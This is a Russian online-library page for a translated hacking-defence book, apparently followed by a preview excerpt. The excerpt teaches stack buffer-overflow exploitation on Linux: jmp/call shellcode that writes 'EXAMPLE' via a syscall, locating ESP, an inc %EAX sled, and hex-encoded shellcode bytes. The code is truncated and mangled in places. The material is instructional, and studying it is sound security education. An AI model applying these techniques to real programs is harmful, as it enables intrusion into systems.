Коллектив авторов - Защита от хакеров корпоративных сетей
- Название:Защита от хакеров корпоративных сетей
- Автор:
- Жанр:
- Издательство:неизвестно
- Год:неизвестен
- ISBN:нет данных
- Рейтинг:
- Избранное:Добавить в избранное
-
Отзывы:
-
Ваша оценка:
Коллектив авторов - Защита от хакеров корпоративных сетей краткое содержание
В книге рассматривается современный взгляд на хакерство, реинжиниринг и защиту информации. Авторы предлагают читателям список законов, которые определяют работу систем компьютерной безопасности, рассказывают, как можно применять эти законы в хакерских технологиях. Описываются типы атак и возможный ущерб, который они могут нанести компьютерным системам. В книге широко представлены различные методы хакинга, такие, как поиск различий, методы распознавания шифров, основы их вскрытия и схемы кодирования. Освещаются проблемы безопасности, возникающие в результате непредсказуемого ввода данных пользователем, методы использования машинно-ориентированного языка, возможности применения мониторинга сетевых коммуникаций, механизмы туннелирования для перехвата сетевого трафика. В книге представлены основные сведения о хакерстве аппаратных средств, вирусах, троянских конях и червях. В этой книге читатель узнает о методах, которые в случае неправильного их применения приведут к нарушению законодательства и связанным с этим последствиям.
Лучшая защита – это нападение. Другими словами, единственный способ остановить хакера заключается в том, чтобы думать, как он. Эти фразы олицетворяют подход, который, по мнению авторов, позволит наилучшим образом обеспечить безопасность информационной системы.
Перевод: Александр Петренко
Защита от хакеров корпоративных сетей - читать онлайн бесплатно ознакомительный отрывок
Интервал:
Закладка:
jump string
code:
pop %ECX
xor %EBX, %EBX
xor %EDX, %EDX
xor %EAX, %EAX
mov $0x9,%EDX
mov $0x1,%EBX
mov $0x4,%EAX
int $0x80
string:
call code
“EXAMPLE\n”
После завершения работы над фрагментом управляющего кода следует решить вопрос о передачи ему управления из программы переполнения буфера. Для этого нужно подменить сохраненное в стеке значение регистра EIP на адрес управляющего кода. Когда функция bof() уязвимой программы попытается вернуться в функцию main по команде ret, она восстановит из стека сохраненное там значение регистра EIP и по команде перехода jmp перейдет по восстановленному адресу. Но где в памяти будет расположен управляющий код? Конкретнее, на какой адрес нужно подменить содержимое регистра EIP, сохраненное в стеке?
При помощи функции fread() данные из файла считываются в размещенный в стеке восьмибайтовый буфер buffer. Известно, что программный код полезной нагрузки в конечном счете будет загружен из файла в стек. В UNIX-подобных системах во всех программах стек начинается с одного и того же адреса. Поэтому последнее, что осталось сделать, – это написать программу определения смещения области размещения программного кода полезной нагрузки в стеке относительно его начала.
Перед завершением своей работы функция передает вызвавшей ее программе код возврата в регистре EAX, чтобы та знала об успешном или неуспешном выполнении функции. Чтобы узнать ассемблерную реализацию фрагмента программы, отвечающего за передачу кода завершения, оттранслируем и дизассемблируем следующую программу:
$ cat ret.c
int main()
{
return(0);
}
$ gcc ret.c -o ret
$ gdb ./ret
(gdb) disas main
Dump of assembler code for function main:
0x8048430
: push %EBP
0x8048431
: mov %ESP,%EBP
0x8048433
: mov $0x0,%EAX <���– here it is :)
0x8048438
: pop %EBP
0x8048439
: ret
0x804843a
: mov %ESI,%ESI
0x804843c
: nop
0x804843d
: nop
0x804843e
: nop
0x804843f
: nop
End of assembler dump.
(gdb)
Далее, вместо выполнения оператора возврата return (значение) пропустим его и перепишем значение ESP в регистр EAX. Таким способом значение регистра ESP может быть назначено переменной. Вот пример программы, отображающей содержимое регистра ESP:
–get_ESP.c–
unsigned long get_ESP(void)
{
__asm__(“movl %ESP,%EAX”);
}
int main()
{
printf(“ESP: 0x%x\n”, get_ESP());
return(0);
}
–get_ESP.c–
Можно ли теперь, зная адрес начала стека, точно определить в нем место размещения управляющего кода? Нет, нельзя!
Но для разумной оценки адреса области размещения управляющего кода можно увеличить ее размер способом, аналогичным способу последовательности команд nop. В начале работы программы все регистры были очищены командами xor, поэтому в качестве заполнителя буфера можно воспользоваться одной из команд работы с регистром, которая не окажет влияния на работу программы. Например, команда inc 0 %>EAX, машинный код представляется шестнадцатеричным байтом 0x41, увеличивает значение регистра EAX на единицу. В управляющем коде регистр EAX перед использованием обнуляется. Поэтому при размещении перед первой командой jmp команд inc %EAX управляющий код будет прекрасно работать. В действительности в управляющем коде можно разметить столько команд inc %EAX, сколько захотим. В данном случае команда inc %EAX эквивалентна команде nop. Поэтому выберем размер управляющего кода равным 1000 байт и заполним его символами 0x41, другими словами, командой inc%EAX.
Определенная в программе переполнения буфера символическая константа OFFSET – предполагаемое смещение области размещения управляющего кода в стеке. В программе ему присвоено символическое значение ESP+1500.
Вот так в конечном счете выглядят управляющий код и программа переполнения:
#include
#include
/***** Shellcode dev with GCC *****/
int main() {
__asm__(”
jmp string # jump down to
Это команды, с которых фактически начинается программный код полезной нагрузки. Сначала обнуляются используемые в программе регистры, чтобы находящиеся в них данные не повлияли на работу управляющего кода:
xor %EBX, %EBX
xor %EDX, %EDX
xor %EAX, %EAX
# Now we are going to set up a call to the
write
#function. What we are doing is basically:
# write(1,EXAMPLE!\n,9);
# Syscall reference: /usr/include/asm/unistd.h
#
# write : syscall 4
#
Почти всем системным вызовам Linux параметры передаются через регистры. Параметры системного вызова передаются через следующие регистры:
• ECX: адрес записываемых данных;
• EBX: дескриптор файла, в рассматриваемом случае используется дескриптор стандартного файла вывода stdout;
• EDX: длина записываемых данных.
Теперь в регистр EBX записывается нужный дескриптор файла. В данном случае дескриптор стандартного файла вывода stdout равен 1:
popl %ECX # %ECX now holds the address of our string mov $0x1, %EBX
Затем длина записываемой строки записывается в младший полубайт регистра %EDX:
movb $0x09, %dl
Перед обращением к системному вызову следует сообщить операционной системе, какой системный вызов должен быть выполнен. Достигается это записью номера системного вызова в младший байт регистра %EAX – %al:
movb $0x04, %al
Теперь операционная система выполняет системный вызов, номер которого записан в регистр %al.
int $0x80
В конце программы нужно выполнить системный вызов завершения работы или #syscall 1. Системному вызову exit в данном случае параметры не нужны, поэтому фрагмент кода выглядит следующим образом:
movb $0x1, %al
int $0x80
string:
call code
A call pushes the address of the next instruction onto the stack and then does a jmp
to the specified address. In this case the next instruction after is
actually the location of our string EXAMPLE. So by doing a jump and then a call, we
can get an address of the data in which we’re interested. So now we redirect the
execution back up to
.string \“EXAMPLE\n\”
“);
В конечном счете программа переполнения буфера выглядит так:
/****** Shellcode dev with GCC *****/
#include
#include
char shellcode[] =
“\xeb\x16” /* jmp string */
“\x31\xdb” /* xor %EBX, %EBX */
“\x31\xd2” /* xor %EDX, %EDX */
“\x31\xc0” /* xor %EAX, %EAX */
“\x59” /* pop %ECX */
“\xbb\x01\x00\x00\x00” /* mov $0x1,%EBX */
“\xb2\x09” /* mov $0x9,%dl */
“\xb0\x04” /* mov $0x04,%al */
Интервал:
Закладка: